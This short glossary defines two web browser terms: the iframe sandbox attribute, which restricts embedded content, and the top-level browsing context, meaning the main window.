- Sandbox attribute: an iframe setting that treats the embedded content as untrusted and blocks scripts, new windows and top-level navigation.
- Top-level browsing context: the main window itself, as opposed to a frame inside it.